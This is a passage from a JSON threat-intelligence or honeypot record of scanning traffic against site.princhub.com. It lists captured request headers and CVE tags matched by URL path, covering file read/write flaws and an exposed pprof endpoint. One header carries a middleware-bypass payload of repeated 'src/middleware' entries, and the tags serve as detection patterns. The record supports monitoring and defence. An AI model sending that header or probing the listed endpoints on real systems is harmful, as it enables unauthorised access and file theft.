http/1.1","count":70}],"banners":[],"credentials":[],"header_profile":{"signature":["Accept","Accept-Encoding","Cdn-Loop","Cf-Connecting-Ip","Cf-Ipcountry","Cf-Ray","Cf-Visitor","Connection","Host","User-Agent","X-Forwarded-For","X-Forwarded-Proto","X-Middleware-Subrequest","X-Nextjs-Data"],"representative":[{"name":"Accept","value":"*/*","notable":false},{"name":"Accept-Encoding","value":"gzip, br","notable":false},{"name":"Cdn-Loop","value":"cloudflare; loops=1","notable":false},{"name":"Cf-Connecting-Ip","value":"35.192.167.27","notable":false},{"name":"Cf-Ipcountry","value":"US","notable":false},{"name":"Cf-Ray","value":"a3eacd4a2bf8375a-YYZ","notable":false},{"name":"Cf-Visitor","value":"{\"scheme\":\"https\"}","notable":false},{"name":"Connection","value":"Keep-Alive","notable":false},{"name":"Host","value":"site.princhub.com","notable":false},{"name":"User-Agent","value":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +claudebot@anthropic.com)","notable":false},{"name":"X-Forwarded-For","value":"35.192.167.27","notable":true},{"name":"X-Forwarded-Proto","value":"https","notable":true},{"name":"X-Middleware-Subrequest","value":"src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware","notable":true},{"name":"X-Nextjs-Data","value":"1","notable":true}],"distinct_sets":3,"events_with_headers":10},"tags":[{"tag_id":"CVE-2026-85688","tag_type":"cve","title":"TEN Framework - Arbitrary File Read & Write","severity":"critical","actively_exploited":false,"match_field":"url_path","matched_pattern":"/api/designer/v1/file-content","reference_urls":["https://www.vulncheck.com/advisories/ten-framework-0.11.71-unauthenticated-file-read-write-via-tman-designer","https://github.com/TEN-framework/ten-framework/issues/2187","https://github.com/TEN-framework/ten-framework/blob/0.11.71/core/src/ten_manager/src/designer/file_content/mod.rs","https://nvd.nist.gov/vuln/detail/CVE-2026-85688"]},{"tag_id":"CVE-2019-11248","tag_type":"cve","title":"Debug Endpoint pprof - Exposure Detection","severity":"high","actively_exploited":false,"match_field":"url_path","matched_pattern":"/debug/pprof","reference_urls":["https://medium.com/bugbountywriteup/my-first-bug-bounty-21d3203ffdb0","http://mmcloughlin.com/posts/your-pprof-is-showing","https://github.com/kubernetes/kubernetes/issues/81023","https://groups.google.com/d/msg/kubernetes-security-announce/pKELclHIov8/BEDtRELACQAJ","https://nvd.nist.gov/vuln/detail/CVE-2019-11248"]},{"tag_id":"CVE-2026-23536","tag_type":"cve","title":"Feast Feature Server <=0.58.0 - Arbitrary File Read","severity":"high","actively_exploited":false,"match_field":"url_path","matched_pattern":"/read-document","reference_urls":["https://access.redhat.com/security/cve/CVE-2026-23536","https://bugzilla.redhat.com/show_bug.cgi?id=2429302","https://github.com/feast-dev/feast","https://nvd.nist.gov/vuln/detail/CVE-2026-23536"]}],"data_as_of":"2026-09-24T14:28:41.290964+00:00"}